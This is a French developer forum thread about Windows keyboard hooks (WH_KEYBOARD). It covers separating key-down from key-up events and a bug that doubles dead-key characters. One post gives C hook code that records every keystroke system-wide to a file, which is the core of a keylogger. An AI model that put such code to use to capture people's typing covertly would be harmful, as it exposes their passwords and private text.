Hook WH_KEYBOARD et WM_KEYDOWN/WM_KEYUP

Résolu
Maegis Messages postés 101 Date d'inscription vendredi 15 février 2002 Statut Membre Dernière intervention 6 août 2007 - 29 mai 2006 à 02:47
cs_lol55 Messages postés 86 Date d'inscription dimanche 8 janvier 2006 Statut Membre Dernière intervention 5 décembre 2010 - 12 juil. 2007 à 00:07
Bonjour,
Après moult recherches infructueuses je viens poser la question ici.
J'aimerai savoir si dans un hook WH_KEYBOARD on peut faire la distinction entre les WM_KEYDOWN et les WM_KEYUP.
Dans la doc c'est écrit que ça prend en compte les deux, mais pas moyen de pouvoir les distinguer.

En fait ça m'embête parce que du coup mon hook capte deux fois la même touche.
Alors jusqu'a maintenant je suis passé sur un hook WH_GETMESSAGE mais si je ne m'abuse il est quand même un peu plus lourd que le précédant.
Si quelqu'un a la solution ...

5 réponses

BruNews Messages postés 21040 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
29 mai 2006 à 07:16
if(0 > lParam)

ciao...
BruNews, MVP VC++
3
Maegis Messages postés 101 Date d'inscription vendredi 15 février 2002 Statut Membre Dernière intervention 6 août 2007
29 mai 2006 à 15:44
Honte sur moi, j'avais pas vu ce passage :
31, Specifies the transition state. The value is 0 if the key is
being pressed and 1 if it is being released.

 Par contre ça ne change pas un autre problème que j'ai remarqué, c'est au niveau des lettres telles que ï,ê et ces lettre que l'on doit faire en appuyant sur deux touches.
Dans mon hook je fais ça :

LRESULT CALLBACK Hook(int code,WPARAM wParam,LPARAM lParam)
{
   DWORD            dummy;
    if(code == HC_ACTION)
    {    
        if(lParam>0)
        {
             [...]
            switch(wParam)
            {           
            case VK_RETURN:
                WriteFile(fichier,"\r\n",2,&dummy,NULL);
                break;
            case VK_DELETE:
                WriteFile(fichier,"[DEL]",5,&dummy,NULL);
                break;
            case VK_BACK:
                WriteFile(fichier,"[<==]",5,&dummy,NULL);
                break;
            case VK_TAB:
                WriteFile(fichier,"[TAB]",5,&dummy,NULL);
                break;
            case VK_LEFT:
            case VK_RIGHT:
            case VK_UP:
            case VK_DOWN:
            case VK_CONTROL:

            case VK_MENU:
            case VK_SHIFT:
                break;
            default:
                BYTE kbdStat[256];
                GetKeyboardState(kbdStat);
                WORD wBuf;
                UINT ScanCode = lParam;

                ToAscii(wParam,ScanCode,kbdStat,&wBuf,0);
                WriteFile(fichier,&wBuf,1,&dummy,NULL);
                break;
            }
        }
        CloseHandle(fichier);
    }
    return CallNextHookEx(hook,code,wParam,lParam);
}

Et bien avec cela dans mon fichier quand je fais ï je tombe sur ¨¨i
De même si je n'appuye que sur la touche trema, ça m'écrit ¨¨ comme si j'avais appuyé deux fois

A la limite dans mon fichier je m'en fous si ça me fait comme ça, mais par contre le truc c'est que ça se répercute sur toutes les applications ! Si mon hook est lancé, impossible d'écrire un ï un ä ou encore un ê sous n'importe quelle application.
Exemple, sans le hook : ï
Avec le hook : ¨¨i
Alors que j'appuye sur les mêmes touches
0
kerneltony95 Messages postés 152 Date d'inscription dimanche 22 janvier 2006 Statut Membre Dernière intervention 26 mars 2007
4 oct. 2006 à 05:17
j'ai poster une source proche de ton code sauf quelle utilise aucun hook ++
Have Fun !
0
BruNews Messages postés 21040 Date d'inscription jeudi 23 janvier 2003 Statut Modérateur Dernière intervention 21 août 2019
4 oct. 2006 à 10:54
Une boucle perpétuelle est un exemple à ne jamais suivre, tout juste bon en langage interprété pour cause qu'ils ne peuvent pas faire de prog système.

ciao...
BruNews, MVP VC++
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
cs_lol55 Messages postés 86 Date d'inscription dimanche 8 janvier 2006 Statut Membre Dernière intervention 5 décembre 2010
12 juil. 2007 à 00:07
J'ai le même problème que [auteurdetail.aspx?ID=4641 Maegis], la pression de la touche ^ est doublé automatiquement lorsque le Hook est activé ! :o

J'ai tenté le
if(0 > lParam) de [auteurdetail.aspx?ID=39449 BruNews] mais çe ne change rien ! :/

Quelqu'un serait-il comment faire pour empêcher ce problème ? :)

Merci Beaucoup ! ;)  
0
Rejoignez-nous